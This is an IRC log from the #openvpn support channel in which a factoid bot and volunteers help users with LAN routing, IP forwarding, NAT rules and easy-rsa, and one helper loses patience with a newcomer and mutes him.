20:02 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
20:03 < acu> !ipforward
20:03 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
20:04 < acu> !ccd
20:04 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
20:06 <+pekster> acu: Oh, if you want a VPN client (not the client LAN) to access the server-side LAN you might want !serverlan instead
20:06 -!- Fetch [fetch@gimel.cepheid.org] has quit [Read error: Connection reset by peer]
20:10 -!- Fetch [fetch@gimel.cepheid.org] has joined #openvpn
20:14 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
20:15 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
20:15 -!- sunrunner20 [~jamesdoe@pool-72-64-103-74.dllstx.fios.verizon.net] has quit [Quit: This PSD doesn't open in paint...]
20:20 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:30 -!- nofks_ [~nofks@nfg.im] has joined #openvpn
20:30 -!- nofks_ [~nofks@nfg.im] has quit [Read error: Connection reset by peer]
20:30 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:31 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Ping timeout: 272 seconds]
20:33 -!- nofks [~nofks@nfg.im] has joined #openvpn
20:34 -!- nofks [~nofks@nfg.im] has quit [Read error: Connection reset by peer]
20:37 -!- nofks [~nofks@nfg.im] has joined #openvpn
20:37 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:38 -!- nofks [~nofks@nfg.im] has quit [Read error: Connection reset by peer]
20:39 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
20:41 -!- Fetch [fetch@gimel.cepheid.org] has quit [Read error: Connection reset by peer]
20:46 -!- Fetch [fetch@gimel.cepheid.org] has joined #openvpn
20:47 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Ping timeout: 245 seconds]
20:47 -!- nofks_ [~nofks@nfg.im] has joined #openvpn
20:49 -!- nofks_ [~nofks@nfg.im] has quit [Read error: Connection reset by peer]
20:51 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has joined #openvpn
20:52 -!- Matviy [~Matviy@99-44-172-201.lightspeed.snjsca.sbcglobal.net] has quit [Ping timeout: 246 seconds]
21:07 -!- nofks_ [~nofks@cpe-198.144.156.141.ca.yorkinet.com] has joined #openvpn
21:10 -!- nofks [~nofks@CPE-65-27-120-148.new.res.rr.com] has quit [Ping timeout: 272 seconds]
21:15 < Beanie> reet finally untarred - trying the init-config bit of the open vpn howto within the easyrsa directory but coming back "-bash: init-config: command not found
21:15 < Beanie> "
21:16 <+pekster> !pki
21:16 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the
21:16 <@vpnHelper> server cert was signed specially as a server (see !servercert) or (#3) See !certman for various PKI management frontends
21:17 <+pekster> Beanie: #1 has the URL you should follow. There is _nothing_ about "init-config" there
21:17 <+pekster> Try and follow directions. You've shown you have a hard time following instructions. Why is that?
21:18 <+pekster> Are the instructions hard? Is the URL at #1 (that's from the howto -- have you even _READ_ the howto??!) hard?
21:19 < Beanie> yeah i did misread that bit
21:19 < Beanie> windows only
21:19 <+pekster> Ah, right
21:19 < Beanie> anyway in the vars file - did you recommend an alternative script earlier
21:20 <+pekster> ?
21:20 <+pekster> vars is a set of config settings
21:20 < Beanie> http://www.ircpimps.org/openvpn.configs?
21:20 <+pekster> That's a sample file provided by krzee. I can't vouch for it as I haven't bothered to review it
21:21 < Beanie> ah reet
21:21 <+pekster> Spend some time reviewing the official samples in the !howto
21:21 <+pekster> You know, that document I _keep_ referring you to? You seem to want to ignore the advice
21:22 <+pekster> I have no clue why you can't be bothered to read it, but it's really annoying
21:23 < Beanie> this right - http://openvpn.net/index.php/open-source/documentation/howto.html
21:23 <@vpnHelper> Title: HOWTO (at openvpn.net)
21:23 < Beanie> its in front of me
21:23 < Beanie> and yes i am
21:23 <+pekster> "It's best to use the OpenVPN sample configuration files as a starting point for your own configuration. These files can also be found in"
21:23 <+pekster> Then you link to alternate configs
21:23 <+pekster> The samples have lots of comments; have you read them?
21:23 < Beanie> and replace the file contexts?
21:23 < Beanie> contents
21:24 <+pekster> How about you read the comments in the provided samples and ask a question that demonstrates you can think for yourself?
21:25 <+pekster> You've been here for hours; how come you haven't managed to read the !howto we've linked you to a lot
21:26 < Beanie> i have done
21:27 < Beanie> i just didnt get to the stage where i needed it
21:27 < Beanie> to be honest, the sample config file seems ok
21:27 < Beanie> but im sure theres stuff you know that i dont
21:27 < Beanie> which may say differently
21:29 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#explicit
21:29 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
21:29 <+pekster> Read that and try to ask a specific question
21:29 <+pekster> Gauve nonsense about "stuff you know that i dont" isn't helpful
21:29 <+pekster> Vauge*
21:31 < acu> pekster: let's say I have 5 computers in the  remoteLAN and want to access a share in the HQ-LAN(where I set the OpenVPN server and samba share) - what do I need to setup in the remoteLAN - I guess one option is to configure each of the 5 computers as clients - but other is to configure one computer that routes everything - what do I need to setup in that computer ?
21:32 < Beanie> pekster - just in the process of trying to find a "how to answer questions, the patronising way"
21:33 < acu> lol
21:33 < acu> Beanie: there is a hierarchy here
21:33 < acu> your questions need to be precise :)
21:34 < acu> ask again, I have half of the stuff working - I might be able to help :)
21:34 <+pekster> I'm sure I know a lot of things that you don't; do you really want me to tell you all of them?
21:34 <+pekster> If not, why would you imply that you want to know them?
21:34 < acu> yes
21:34 < acu> all of them :)
21:34 <+pekster> 42
21:35 <+pekster> https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#The_number_42 <-- acu problem solved ;)
21:35 <@vpnHelper> Title: Phrases from The Hitchhiker's Guide to the Galaxy - Wikipedia, the free encyclopedia (at en.wikipedia.org)
21:36 <+pekster> For all I know that is the answer to Beanie's problem too
21:36 <+pekster> Now that we're done here, how about more beers all around?
21:36 < acu> Hitchiker's Guide is a very deep movie - I thought you operate at level 2, at times 1 :)
21:36 <+pekster> acu: So, you have a LAN behind your server _and_ a LAN behind the client?
21:37 < acu> yes
21:37 <+pekster> Then you need both !serverlan & !clientlan
21:37 < acu> !clientlan
21:37 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
21:37 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
21:37 <+pekster> Set each up one at a time, and don't deal with either until you have basic VPN connectivity between the VPN clients
21:38 < Beanie> i only respect those that respect me, i appreciate those that help however
21:38 < acu> Beanie: yep, we need slavery to get freedom !
21:38 < acu> LOL
21:39 < acu> a tad of humiliation and social defeat goes long way :)
21:39 < Beanie> not with me
21:39 < Beanie> :)
21:39 < Beanie> anyway im back to where i started - http://pastebin.com/RnK32pzd
21:40 < acu> yes, you are a tough cookie - it seem you do not want to put effort almost at all in this endeavour
21:40 < acu> I guess you could pay for training - so all is covered for you special - I am preety sure some people would do that
21:40 <+pekster> Yes indeded. You've wasted my time for hours and only _now_ manage to post _any_ logs at all? Are you clueless, or just don't want help?
21:40 <+pekster> Quite frankly, I don't care
21:41 <+pekster> You also have no clue how to use your OS, can't learn to use the 'tar' command, and haven't taken hints that you really shouldn't be using openvpn if you can't use your OS
21:41 <+pekster> !101
21:41 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
21:42 <+pekster> Learn to use your OS before you use openvpn. If you don't know basic OS or networking basics, you will not be able to use OpenVPN. Try a basics computer class first, perhaps. Or a book, or the Internet, or maybe even a library
21:42 < acu> I do not know off hand to solve your problem - but I would first look at line 29 and google see what exactly it needs - it may be operating system specific
21:43 <+pekster> Could be your distro sucks too. Download easyrsa from here: https://github.com/OpenVPN/easy-rsa/releases
21:43 <@vpnHelper> Title: Releases · OpenVPN/easy-rsa · GitHub (at github.com)
21:43 < Beanie> look pekster - why are you wasting your time being insulting - i really don't care
21:43 <+pekster> Then extract it to your homedir and stop running it as root
21:43 < acu> what OS are you using
21:43 <+pekster> Beanie: Well, I just gave you your anser
21:44 < acu> Beanie: what OS are you using ?
21:44 < Beanie> ive thanked you for your time which is way more than you deserve because I know very well you will have got a buzz out of your attempts to upset me - it just annoys me you've actually tried to attack me
21:44 < Beanie> didnt work though
21:44 <+pekster> buzz? Piss off
21:44 -!- mode/#openvpn [+o pekster] by ChanServ
21:44 < acu> that should be part of your question - I run Debian Wheezy amd 64 7.2, openvpn version whatever version - I am trying this  and get that -
21:46 -!- mode/#openvpn [+q Beanie!*@*] by pekster
21:46 <@pekster> Time for a timeout for a bit I think
21:46 -!- mode/#openvpn [-o pekster] by ChanServ
21:54 < acu> pekster I have to say this, you could hon into your emotional intelligence skills - just a tad - the newcomers may be annoyingly stupid, less knowledgeable in openvpn or os or routing or networking - but I think is important to let them be - in other words, just do not answer them, If I were you I would let someone else answer lower level questions - people feel insulted at the end, and I do not think that is your intention here - just a 2 cent - from what I h
21:54 < acu> ave seen from very little time I was around
21:54 <+pekster> No, I don't like spending time with people, having them ignore basic suggestins they need to go somewhere else, then _continue_ to ask "is tgz ok?" when I've explained that is _not_ what this channel is for
21:55 <+pekster> And yes, I +q people who can't seem to understand that, then proceeed to insult me
21:55 < acu> force begets force
21:55 <+pekster> The prior op who I schooled here earlier has, on _multiple_ occations, given flat out bad advice to users here and deserved the schooling I gave
21:56 <+pekster> Of course, since you haven't been here, you had none of that history. Do you really want a public disertation of that now?
21:56 < acu> anger is self annulling
21:56 <+pekster> We don't support "lower level" questions here
21:56 <+pekster> !101
21:56 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
21:57 <+pekster> Please find yourself a more basic channel if you, or other users here require basic Linux, OS, distribution, security, firewall, or life skills
21:57 <+pekster> I appreciate what you are attempting to fix, but it doesn't need fixing
21:57 <@krzee> wow i have never seen someone manage to annoy pekster that much, surprised the kickhammer never came out
21:57 < acu> you think ?
21:58 <+pekster> Yes, I do. And if you keep it up you will find yourself +q too. Can we try and keep the discussion on-topic here? For _hours_ tonight I have been patient, and my pateience has worn out after about 6 hours of off-topic, incorrect, and pointless discussion
21:59 <+pekster> krzee: And yet I still haven't kicked or banned anyone. Fancy that, 'eh?
22:01 <@krzee> impressive, i hve less patience than you
22:01 <@krzee> well i guess usually i try to /ignore til they piss off someone else, but ya
22:02 <+pekster> No, I have little patience for being insulted after supplying lots of help, even when it belonged (and I pointed it out _many_ times) in other channels
22:03 <@krzee> ya i saw a couple times you ignored and i woulda kicked? thats why i say you have less patience than me
22:03 <@krzee> err you have more*
22:03 <+pekster> Apparently. I'll see what I can do about that ;)
22:03 <@krzee> hahah
22:04 <+pekster> acu: You already had your VPN client able to reach the server-side LAN systems, right?
22:05 < acu> pekster: yes
22:06 < acu> I can connect with a GUI client from Windows to a Sambashare in OpenVPN server
22:06 <+pekster> Okay, just figured I'd verify that before getting you started on !clientlan; they're related in a site-to-site setup like you want, but each needs to be set up one at a time
22:14 <@krzee> "to a Sambashare in OpenVPN server"
22:15 <@krzee> he was asking about the server's lan
22:15 <@krzee> like, can you ping a machine in that lan from the client?
22:15 < acu> krzee: is the same machine - it has two nics
22:15 < acu> but -yes, I did not look yet into making the LAN be seen
22:16 < acu> I am more concern making the remoteLAN workstations see the share files
22:17 < acu> the Linux machine where OpenVPN Server is installed, has samba too - so it can be accessed from HQ-Lan workstations
22:20 <@krzee> ok, if you need the rest of the lan to be seen you want to test that too before moving on
22:21 -!- Beanie [Beanie@bgareth.plus.com] has left #openvpn []
22:21 <@krzee> could follow the flowchart in !serverlan if you like
22:24 -!- mode/#openvpn [+o pekster] by ChanServ
22:24 -!- mode/#openvpn [-q Beanie!*@*] by pekster
22:24 -!- mode/#openvpn [-o pekster] by ChanServ
22:24 < acu> krzee: I am happy with that share to begin with, I am trying to figure out - the remoteLAN - I have to use a computer - there I need to install a OpenVPN client as I would do any other machine - make it access the OpenVPN  server? then configure that client to route the trafic ? can that client wb
22:26 < acu> once one dedicated machine from remoteLAN is configured as client and accessing the OpenVPN server - then I configure that client machine to route all the remoteLAN trafic trhough it
22:29 -!- nofks_ [~nofks@cpe-198.144.156.141.ca.yorkinet.com] has quit [Remote host closed the connection]
22:32 <+pekster> So is the goal to access the openvpn server or a PC behind it? I'm still not clear on that point
22:32 <+pekster> The difference is important, because the former requires you to first verify !serverlan is working, while the latter only requires that your client can reach the server before proceeding with !clientlan
22:33 < acu> openvpn server is good enough
22:33 < acu> !clientlan
22:33 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
22:33 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
22:35 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
22:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
22:36 -!- mode/#openvpn [+o krzee] by ChanServ
22:36 <+pekster> krzee flooding? :P
22:37 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
22:37 <@krzee> ahh so thats what happened
22:37 <@krzee> i guess i should part some channels
22:37 < acu> OK, now that I am reading it - the RemoteLAN needs Only OpenVPN client - good - second I need to make changes in Server and client  -
22:38 < acu> Server - I need to configure a push route
22:38 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
22:40 < acu> !ccd
22:40 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
22:43 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Client Quit]
22:43 -!- heraclitus [~halcyon@76.76.23.35] has joined #openvpn
22:43 -!- heraclitus [~halcyon@76.76.23.35] has quit [Changing host]
22:43 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
22:45 < acu> !ipforward
22:45 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
22:45 < acu> !linipforward
22:45 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
22:49 < acu> !winipforward
22:49 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
22:51 < acu> !iroute
22:51 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
22:51 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
22:53 < acu> !route
22:53 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server
22:53 <@vpnHelper> or client
22:56 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
--- Day changed Mon Nov 18 2013
00:06 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Quit: No Ping reply in 180 seconds.]
00:07 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
00:34 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
00:44 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 252 seconds]
01:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:13 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
01:27 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:28 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:53 -!- s7r_u is now known as s7r
01:57 <@krzee> !factoids search vz
01:57 <@vpnHelper> 'openvz', 'openvzlinnat', and 'openvznat'
01:57 <@krzee> !openvznat
01:57 <@vpnHelper> "openvznat" is (#1) a user reported success with this command: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to <PUBLIC-IP> or (#2) someone else got it working with: iptables -t nat -A POSTROUTING -s <vpn_subnet>/<netmask> -o eth<public> -j SNAT --to <public ip>
01:57 <@krzee> !openvzlinnat
01:57 <@vpnHelper> "openvzlinnat" is since openvz cant do NAT inside containers, use iptables -t nat -A PREROUTING -i tun0 -j DNAT --to-destination <container.ip>
01:58 <@krzee> o.O
01:58 <@krzee> !forget openvzlinnat
01:58 <@vpnHelper> Joo got it.
01:58 <@krzee> !forget ipforward 1
01:58 <@vpnHelper> Joo got it.
01:58 <@krzee> !learn ipforward as please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
01:58 <@vpnHelper> Joo got it.
01:59 <@krzee> !learn nat
01:59 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
01:59 <@krzee> !nat
01:59 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
01:59 <@krzee> !forget nat 4
01:59 <@vpnHelper> Joo got it.
01:59 <@krzee> !learn nat as please choose between !linnat !openvznat !winnat and !fbsdnat for specific howto
01:59 <@vpnHelper> Joo got it.
02:00 <@krzee> !factoids search forward
02:00 <@vpnHelper> 'winipforward', 'linipforward', 'fbsdipforward', 'linportforward', 'osxipforward', 'ipforward', and 'forwardsecurity'
02:09 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
02:36 -!- Devastator_ [~devas@186.214.15.39] has joined #openvpn
02:45 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit []
02:45 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:46 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Client Quit]
02:46 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
02:56 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
02:58 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:00 -!- crus [~crusader@2001:0:9d38:90d7:34ce:c9d:c458:154d] has joined #openvpn
03:01 -!- crus` [~crusader@2001:44b8:319e:2900:14fb:7c64:7dba:87bc] has quit [Ping timeout: 245 seconds]
03:06 -!- crus [~crusader@2001:0:9d38:90d7:34ce:c9d:c458:154d] has quit [Ping timeout: 240 seconds]
03:07 -!- crus [~crusader@2001:44b8:319e:2900:d477:432d:2ab9:9a08] has joined #openvpn
03:19 -!- DEREK| is now known as [Derek]
03:19 -!- [Derek] [~me@djh.pw] has quit [Changing host]
03:19 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has joined #openvpn
03:34 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
03:36 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Client Quit]
03:36 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
03:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
03:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
04:16 -!- tw [~brassica@unaffiliated/tw-nym] has quit [Ping timeout: 246 seconds]
04:29 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
04:31 -!- dazo_afk is now known as dazo
04:38 <@krzee> plaisthos, are you here?
04:41 -!- tw [~brassica@unaffiliated/tw-nym] has joined #openvpn
05:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
05:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:40 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 272 seconds]
05:43 -!- tapout__________ [~tapout@unaffiliated/tapout] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:43 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
06:13 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:14 -!- Z6 [~z6@unaffiliated/z6] has quit []
06:33 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
06:46 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:48 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Operation timed out]
06:48 -!- duoi [~duoi@46.21.151.107] has quit [Ping timeout: 272 seconds]
06:57 -!- Irssi: #openvpn: Total of 228 nicks [8 ops, 0 halfops, 3 voices, 217 normal]
07:02 -ChanServ:#openvpn- ecrist set flags -Afiorstv on m10t.
07:02 <@ecrist> raar
07:02 -!- Irssi: #openvpn: Total of 228 nicks [8 ops, 0 halfops, 3 voices, 217 normal]
07:02 <@ecrist> !ircstats
07:02 <@vpnHelper> "ircstats" is (#1) See http://secure-computing.net/logs/openvpn.html for all-time IRC stats. or (#2) See http://secure-computing.net/logs/openvpn-devel.html for all-time dev channel IRC stats.
07:04 <@ecrist> krzee: I'll work on automating it again.
07:20 -!- davidmp [~davidmp@149.255.100.107] has quit [Ping timeout: 245 seconds]
07:22 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
07:23 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
07:35 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
07:37 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Ping timeout: 272 seconds]
07:42 <+pekster> !easyrsa
07:42 <@vpnHelper> "easyrsa" is (#1) "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa or (#2) git-master is recommended due to security improvements (commit ff5bfd1dd8)
07:42 <+pekster> !forget easyrsa *
07:42 <@vpnHelper> Joo got it.
07:42 <+pekster> !learn easyrsa as easy-rsa is a certificate generation utility.
07:42 <@vpnHelper> Joo got it.
07:42 <+pekster> !learn easyrsa as Download here: https://github.com/OpenVPN/easy-rsa/releases
07:42 <@vpnHelper> Joo got it.
07:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:42 <+pekster> !learn easyrsa as Source checkouts available from the github project; current official release download is 2.2.2 with 3.x code in git-master.
07:42 <@vpnHelper> Joo got it.
07:47 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
07:54 -!- michaelhart [~michaelha@192.237.177.15] has joined #openvpn
07:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:09 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:15 -!- piece3 [~quassel@14.161.15.21] has quit [Quit: No Ping reply in 180 seconds.]
08:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:28 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
08:31 -!- Devastator_ [~devas@186.214.15.39] has quit [Changing host]
08:31 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
08:41 < heraclitus> pekster, what should an auth-user-pass-verify script return for successful/unsuccessful authentications? is a clean exit considered successful, anything else a fail?
08:41 <+pekster> heraclitus: Right. If the program exits code 0 the user is allowed (if they otherwise would have been with any X509 checks or other auth scripts of course) and non-zero is rejected
08:42 < heraclitus> perfect, thank you :D
08:49 -!- acu [~acu@107.128.131.129] has quit [Quit: Leaving]
09:08 <@dazo> not exit code
09:08 <@dazo> echo 1  or  echo 2  .... iirc
09:09 <@dazo> echo 0  / echo 1
09:09 <+pekster> No...
09:10 <@dazo> I might confuse it with another project, it's ages since I used that script hook
09:10 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:10 <+pekster> It's most definitely exit code
09:11 <@dazo> ahh, I see the auth-pam.pl script using exit codes
09:11 <@dazo> and I see it was a boxbackup script which used echo .... sorry about the confusion!
09:11 <@dazo> (exit codes makes far more sense!)
09:12 < heraclitus> you guys are awesome itc :D really appreciate all your help
09:18 -!- clarkda [~clarkda@141.211.181.191] has joined #openvpn
09:45 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
09:53 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has quit [Ping timeout: 246 seconds]
09:58 -!- _quadDam1ge is now known as _quadDamage
10:00 -!- bersace [~bersace@sevin.cae.li] has joined #openvpn
10:00 < bersace> Hi, i would like to bridge a VM to an openVPN, how to do that ?
10:01 < bersace> i'm using debian and tryied to enable tap0 and just add it to a bridge, but there is no connectivity :/
10:01 < bersace> do you have a clue ?
10:03 < bersace> note, i already have a bridge for the physical ethernet iface
10:03 < bersace> both physical and VPN are DHCP
10:16 <@krzee> !whybridge
10:16 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
10:25 < bersace> krzee: i'm on the other side :  my hypervisor is a VPN client, and i want it to share it's tun0 with its VM using a bridge
10:25 < bersace> just like i do with eth0
10:25 < bersace> i want to have my VM on the hypervisor to share the layer2 of the VPN with the hypervisor.
10:26 <@krzee> k i have no idea
10:26 <@krzee> never used bridging myself. others here have
10:33 <+pekster> bersace: tun0? You can't "bridge" a tun0
10:33 <+pekster> tun is OSI L3 (IP packets) while a bridge is L2 (Ethernet frames on an Ethernet device/network)
10:33 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:45 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:55 < Ziber> I have a similar setup wrt the VMs, but you don't need to bridge.
10:56 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
11:02 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
11:02 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
11:05 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:06 -!- master_of_master [~master_of@p4FD7B37E.dip0.t-ipconnect.de] has joined #openvpn
11:10 -!- master_o1_master [~master_of@p4FF248E0.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
